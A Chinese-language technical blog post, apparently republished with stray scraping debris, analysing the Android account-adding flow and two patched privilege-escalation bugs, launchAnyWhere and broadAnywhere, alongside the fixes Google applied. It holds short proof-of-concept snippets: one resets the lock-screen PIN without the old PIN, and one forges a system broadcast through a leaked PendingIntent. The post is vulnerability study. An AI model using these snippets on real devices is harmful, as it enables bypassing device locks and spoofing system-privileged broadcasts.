android添加帐户流程分析涉及漏洞修复

  android修复了添加帐户代码中的2处bug,retme取了很酷炫的名字launchAnyWhere、broadAnywhere(参考资料一、2)。本文顺着前辈的思路学习bug的原理和利用思路。php

  咱们先看下源码里setting中添加帐户的代码,来理解bug产生的原理。html

   /packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java下oncreate:java

  public void onCreate(Bundle savedInstanceState) {
    ......
    final Intent intent = new Intent(this, ChooseAccountActivity.class);
if (accountTypes != null) { intent.putExtra(AccountPreferenceBase.ACCOUNT_TYPES_FILTER_KEY, accountTypes); } startActivityForResult(intent, CHOOSE_ACCOUNT_REQUEST); }

   调用startActivityForResult去启动"添加帐户"activity,ChooseAccountActivity选好帐户后回调onActivityResult函数:android

  public void onActivityResult(int requestCode, int resultCode, Intent data) {
        ......
        case CHOOSE_ACCOUNT_REQUEST:
        .......
            // Go to account setup screen. finish() is called inside mCallback.
            addAccount(data.getStringExtra(EXTRA_SELECTED_ACCOUNT));
            break;

   ok,来到addAccount函数:app

private void addAccount(String accountType) {
        ......
        mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
        addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
        addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
        AccountManager.get(this).addAccount(
                accountType,
                null, /* authTokenType */
                null, /* requiredFeatures */ addAccountOptions,
                null,
                mCallback,
                null /* handler */);
        mAddAccountCalled  = true;
    }

   注意new Intent()这是broadAnywhere bug的成因,下面还会仔细分析。看源码发现AddAccountSettings.addAccount的仍是由AccountManager.addAccount来实现的。/frameworks/base/core/java/android/accounts/AccountManager.java-addAccount:ide

public AccountManagerFuture<Bundle> addAccount(final String accountType,
        ......
    

    if (addAccountOptions != null) {
      optionsIn.putAll(addAccountOptions);
     }函数

        return new AmsTask(activity, handler, callback) {学习

public void doWork() throws RemoteException { mService.addAccount(mResponse, accountType, authTokenType, requiredFeatures, activity != null, optionsIn); } }.start();

  粗看之下addAccount貌似卡住了,但看AmsTask的start函数源码你会发现此函数就是去调用doWork函数。故这里实质是去执行mService.addAccount(回归正道了),而mService就是AccountManagerService(这里不明白不要紧,跟本文主题关系不大;先记住,我会另外一篇解释下xxxManager、IxxxManager、IxxxManagerService之间的联系)。/frameworks/base/services/java/com/android/server/accounts/AccountManagerService.java—addAccount;ui

public void addAccount(final IAccountManagerResponse response, final String accountType,
            final String authTokenType, final String[] requiredFeatures,
            final boolean expectActivityLaunch, final Bundle optionsIn) {
        .......
        final Bundle options = (optionsIn == null) ? new Bundle() : optionsIn;
        ......
        try {
            new Session(accounts, response, accountType, expectActivityLaunch,
                    true /* stripAuthTokenFromResult */) {
                @Override
                public void run() throws RemoteException {
                    mAuthenticator.addAccount(this, mAccountType, authTokenType, requiredFeatures,
                            options);
                }
        ......

   由mAuthenticator去启动addAccount代码来添加帐户;那mAuthenticator为什么物(这里偏题下,参考资料6来学习下在android中如何添加本身的帐户系统;其实直接看retme的launchAnyWhere poc学习更快),这里用retme poc的代码来分析就是Authenticator,他继承自AbstractAccountAuthenticator。Authenticator.addAccount:this

   public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
            String authTokenType, String[] requiredFeatures, Bundle options) {
        ......
        Intent intent = new Intent();
        // 重设锁屏pin
        intent.setComponent(new ComponentName(
                "com.android.settings",
                "com.android.settings.ChooseLockPassword"));
        intent.setAction(Intent.ACTION_RUN);
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        intent.putExtra("confirm_credentials",false);
        bundle.putParcelable(AccountManager.KEY_INTENT, intent);
        return bundle;
    }

  Authenticator.addAccount返回Intent,由上面AmsTask中的内部类Response回调函数onResult来处理

  private class Response extends IAccountManagerResponse.Stub {
            public void onResult(Bundle bundle) {
                Intent intent = bundle.getParcelable(KEY_INTENT);
                if (intent != null && mActivity != null) {
                    // since the user provided an Activity we will silently start intents
                    // that we see
                    mActivity.startActivity(intent);
                    // leave the Future running to wait for the real response to this request
                }
        .......

  startActivity去启动上面Authenticator.addAccount传入的activity。此activity对于正常app来讲就是登录页面,因此在此会记录帐号信息已添加到android帐户中。总得来讲addAccount的流程就是这样子

         

  帐户添加流程就分析到这里,咱们来看下bug是如何产生的。首先简单的先看launchAnyWhere:上面app中返回一个intent,而在Response里直接startActivity,这会打开android系统中的任意activity(由于此时在setting进程中执行具备system权限,system能够打开任意activity无论有无exported)。这就是launchAnyWhere的原理,经过精心构造的app能够打开任意activity(上面的填出的poc代码是重设锁屏pin,即不须要验证以前的pin就能够从新设置新的pin)。谷歌的修复也很简单,检测startActivity中的activity签名和构造的app的签名是否相同(签名相同表示app有权限打开activity;具体看android4.4的代码,因此launchAnyWhere的影响是android4.4如下的机器。

  

  broadAnywhere:在分析这个bug以前咱们先理解下PendingIntent(详情请参考7);在这里能够简单的理解:

简单来讲,就是指PenddingIntent对象能够按预先指定的动做进行触发,当这个对象传递(经过binder)到其余进程(不一样uid的用户),其余进程利用这个PenddingInten对象,能够原进程的身份权限执行指定的触发动做,这有点相似于Linux上suid或guid的效果。另外,因为触发的动做是由系统进程执行的,所以哪怕原进程已经不存在了,PenddingIntent对象上的触发动做依然有效。

  在AddAccountSettings.addAccount时建立PendingIntent,并一直传递到app的Authenticator.addAccount中

mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

   PendingIntent的定义,咱们能够在app执行PendingIntent指定的触发动做:PendingIntent.send(intent,flag)。而PendingIntent.send()实质是由PendingIntentRecord.send()来执行(不理解?继续看参考资料7)

public int send(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission) {
        return sendInner(code, intent, resolvedType, finishedReceiver,
                requiredPermission, null, null, 0, 0, 0, null);
    }

  继续往下看

 int sendInner(int code, Intent intent, String resolvedType,
            IIntentReceiver finishedReceiver, String requiredPermission,
            IBinder resultTo, String resultWho, int requestCode,
            int flagsMask, int flagsValues, Bundle options) {
        synchronized(owner) {
        ......
                Intent finalIntent = key.requestIntent != null
                        ? new Intent(key.requestIntent) : new Intent();
                if (intent != null) {// 填充intent
                    int changes = finalIntent.fillIn(intent, key.flags);
                    if ((changes&Intent.FILL_IN_DATA) == 0) {
                        resolvedType = key.requestResolvedType;
                    }
                } 
                ......
                    case ActivityManager.INTENT_SENDER_BROADCAST:
                        try {
                            // If a completion callback has been requested, require
                            // that the broadcast be delivered synchronously
                            // 发生广播
                            owner.broadcastIntentInPackage(key.packageName, uid,
                                    finalIntent, resolvedType,
                                    finishedReceiver, code, null, null,
                                requiredPermission, (finishedReceiver != null), false, userId);
                            sendFinish = false;
                        } catch (RuntimeException e) {
                            Slog.w(ActivityManagerService.TAG,
                                    "Unable to send startActivity intent", e);
                        }
                        break;
        ......

  这里最后面一步是发送广播了,那到底是发送什么广播呢?看finalIntent.fillIn

 public int fillIn(Intent other, int flags) {
6474        int changes = 0;
6475        if (other.mAction != null
6476                && (mAction == null || (flags&FILL_IN_ACTION) != 0)) {
6477            mAction = other.mAction;
6478            changes |= FILL_IN_ACTION;
6479        }
6480        if ((other.mData != null || other.mType != null)
6481                && ((mData == null && mType == null)
6482                        || (flags&FILL_IN_DATA) != 0)) {
6483            mData = other.mData;
6484            mType = other.mType;
6485            changes |= FILL_IN_DATA;
6486        }
6487        if (other.mCategories != null
6488                && (mCategories == null || (flags&FILL_IN_CATEGORIES) != 0)) {
6489            if (other.mCategories != null) {
6490                mCategories = new ArraySet<String>(other.mCategories);
6491            }
6492            changes |= FILL_IN_CATEGORIES;
6493        }
6494        if (other.mPackage != null
6495                && (mPackage == null || (flags&FILL_IN_PACKAGE) != 0)) {
6496            // Only do this if mSelector is not set.
6497            if (mSelector == null) {
6498                mPackage = other.mPackage;
6499                changes |= FILL_IN_PACKAGE;
6500            }
6501        }
6502        // Selector is special: it can only be set if explicitly allowed,
6503        // for the same reason as the component name.
6504        if (other.mSelector != null && (flags&FILL_IN_SELECTOR) != 0) {
6505            if (mPackage == null) {
6506                mSelector = new Intent(other.mSelector);
6507                mPackage = null;
6508                changes |= FILL_IN_SELECTOR;
6509            }
6510        }
6511        if (other.mClipData != null
6512                && (mClipData == null || (flags&FILL_IN_CLIP_DATA) != 0)) {
6513            mClipData = other.mClipData;
6514            changes |= FILL_IN_CLIP_DATA;
6515        }
6516        // Component is special: it can -only- be set if explicitly allowed,
6517        // since otherwise the sender could force the intent somewhere the
6518        // originator didn't intend.
6519        if (other.mComponent != null && (flags&FILL_IN_COMPONENT) != 0) {
6520            mComponent = other.mComponent;
6521            changes |= FILL_IN_COMPONENT;
6522        }
6523        mFlags |= other.mFlags;
6524        if (other.mSourceBounds != null
6525                && (mSourceBounds == null || (flags&FILL_IN_SOURCE_BOUNDS) != 0)) {
6526            mSourceBounds = new Rect(other.mSourceBounds);
6527            changes |= FILL_IN_SOURCE_BOUNDS;
6528        }
6529        if (mExtras == null) {
6530            if (other.mExtras != null) {
6531                mExtras = new Bundle(other.mExtras);
6532            }
6533        } else if (other.mExtras != null) {
6534            try {
6535                Bundle newb = new Bundle(other.mExtras);
6536                newb.putAll(mExtras);
6537                mExtras = newb;
6538            } catch (RuntimeException e) {
6539                // Modifying the extras can cause us to unparcel the contents
6540                // of the bundle, and if we do this in the system process that
6541                // may fail.  We really should handle this (i.e., the Bundle
6542                // impl shouldn't be on top of a plain map), but for now just
6543                // ignore it and keep the original contents. :(
6544                Log.w("Intent", "Failure filling in extras", e);
6545            }
6546        }
6547        return changes;
6548    }
View Code

  在fillIn函数中,会将intent属性(Action、Data、Categories,须要注意的是Component很特殊,只要有FILL_IN_COMPONENT即便本来有Component也能够被覆盖)所有填充到finalIntent(若是相应的属性为空)里。也就是说最后广播的intent是PendingIntent.send(intent,flag)中的intent(除没法指定Component)。那么咱们就能够利用这个特性来发送任意的广播(PendingIntent由setting建立,全部具备system权限能够无视权限限制)了。具体的poc代码是在app的Authenticator.addAccount中添加以下代码

// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = "pendingIntent";
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent("android.intent.action.BOOT_COMPLETED");
intent_for_broadcast.putExtra("info", "I am bad boy");

try {
    pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
    e.printStackTrace();
}

  谷歌的修复也很简单,在setting最初建立PendingIntent指定ComponentName、Action、Categories,这样PendingIntent.send(intent,flag)中相对应的intent属性就失效了,也就没法发送任意的广播。broadAnywhere的影响是android5.0如下的机子:

 Intent identityIntent = new Intent();
 identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
 identityIntent.setAction(SHOULD_NOT_RESOLVE);
 identityIntent.addCategory(SHOULD_NOT_RESOLVE);

 

 

 

参考资料:

一、launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 )

二、broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)

三、Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防护措施

四、Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析 

五、安卓Bug 17356824 BroadcastAnywhere漏洞分析

六、一步一步教你在 Android 里建立本身的帐户系统(一)

七、说说PendingIntent的内部机制

相关文章
相关标签/搜索